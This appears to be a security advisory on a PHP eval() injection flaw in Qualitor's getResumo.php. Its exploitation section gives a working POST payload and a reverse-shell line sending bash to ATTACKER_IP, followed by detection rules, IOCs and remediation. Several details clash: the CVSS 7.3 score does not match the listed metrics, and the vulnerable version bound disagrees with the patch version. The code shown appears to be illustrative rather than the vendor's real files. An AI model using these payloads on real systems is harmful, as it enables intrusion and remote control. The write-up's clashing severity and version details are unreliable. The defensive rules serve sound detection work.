CVE-2025-13792

Executive Summary

CVE-2025-13792 is a critical code injection vulnerability in Qualitor, affecting versions up to 8.20.104 and 8.24.97. The flaw resides in the eval function within the file /html/st/stdeslocamento/request/getResumo.php. By manipulating the passageiros argument, an unauthenticated attacker can achieve remote code execution (RCE). A public exploit has been released, increasing the immediate risk of widespread attacks. The vendor has released patches in versions 8.20.105 and 8.24.98.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. The public availability of an exploit further elevates the threat level.

Deep Dive & Mechanics

The vulnerability is a classic case of unsanitized input passed to PHP's eval() function. The file getResumo.php processes the passageiros HTTP parameter. Instead of treating this input as data, the application directly passes it to eval(), allowing an attacker to inject arbitrary PHP code.

Attack Flow:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The passageiros parameter contains malicious PHP code, e.g., system('id');.
3. The application calls eval($passageiros), executing the injected code.
4. The attacker gains remote code execution on the web server.

The lack of input validation and the use of eval() are the root causes. This is a common but severe anti-pattern in PHP applications.

Vulnerable vs. Patched Code

Vulnerable Code (getResumo.php):

<?php
$passageiros = $_REQUEST['passageiros'];
eval($passageiros);
?>

Patched Code (getResumo.php):

<?php
$passageiros = $_REQUEST['passageiros'];
// Input validation: ensure it's a JSON array of integers
if (preg_match('/^\[(\d+(,\d+)*)?\]$/', $passageiros)) {
    $passageirosArray = json_decode($passageiros, true);
    // Process safely without eval
    foreach ($passageirosArray as $id) {
        // Safe processing logic
    }
} else {
    // Handle invalid input
    http_response_code(400);
    echo 'Invalid input';
}
?>

The patch replaces the dangerous eval() with proper input validation using a regular expression and json_decode(). This ensures only expected data structures are processed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Qualitor instance (version < 8.20.105 or < 8.24.97).
• Network access to the web interface.

Exploit Payload:

POST /html/st/stdeslocamento/request/getResumo.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

passageiros=system('id');

Explanation: The passageiros parameter is injected with system('id');. When eval() executes this, it runs the system() function, outputting the result of the id command.

Advanced Payload (Reverse Shell):

passageiros=exec('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

Lab Setup:

1. Deploy a vulnerable Qualitor instance using Docker or a local web server.
2. Use a tool like Burp Suite or curl to send the malicious request.
3. Set up a netcat listener on the attacker machine: nc -lvnp 4444.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /html/st/stdeslocamento/request/getResumo.php with suspicious passageiros parameters.
• Look for patterns like system(, exec(, passthru(, or base64-encoded strings in the parameter value.

Response:

1. Immediately isolate the affected server.
2. Review logs for signs of post-exploitation activity.
3. Apply the vendor patch or implement a WAF rule to block malicious requests.
4. Conduct a full incident response investigation.

Indicators of Compromise (IOCs)

• File Path: /html/st/stdeslocamento/request/getResumo.php
• HTTP Request Pattern: POST requests to the above path with passageiros parameter containing PHP code.
• Log Entries: Web server logs showing eval() errors or unexpected output.
• Network Connections: Outbound connections from the web server to unknown IPs on common ports (e.g., 4444, 8080).
• File System: Presence of webshells or modified PHP files in the web root.

Detection Engineering

YARA Rule

rule CVE_2025_13792_Qualitor_Eval_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-13792 in Qualitor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13792"
    strings:
        $eval_func = "eval("
        $passageiros_param = "passageiros"
        $php_code = /system\(|exec\(|passthru\(|shell_exec\(/
    condition:
        $eval_func and $passageiros_param and $php_code
}

Sigma Rule

title: Qualitor CVE-2025-13792 Code Injection Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the vulnerable getResumo.php endpoint with code injection payloads.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/html/st/stdeslocamento/request/getResumo.php'
        cs-uri-query|contains: 'passageiros='
    keywords:
        - 'system('
        - 'exec('
        - 'passthru('
        - 'shell_exec('
    condition: selection and keywords
falsepositives:
    - Legitimate use of eval() in custom code (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13792 Qualitor Code Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/html/st/stdeslocamento/request/getResumo.php"; http_uri; content:"passageiros="; http_client_body; pcre:"/(system|exec|passthru|shell_exec)\(/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade Qualitor to version 8.20.105 or 8.24.98.
2. Virtual Patching: If immediate patching is not possible, deploy a WAF rule to block requests containing passageiros= with PHP function calls.
3. Input Validation: Implement strict input validation for all user-supplied parameters.
4. Disable eval(): If possible, disable eval() in PHP configuration or use a custom PHP extension to block it.
5. Network Segmentation: Isolate the Qualitor server from critical internal networks.
6. Monitor Logs: Continuously monitor web server logs for exploitation attempts.

Valters IT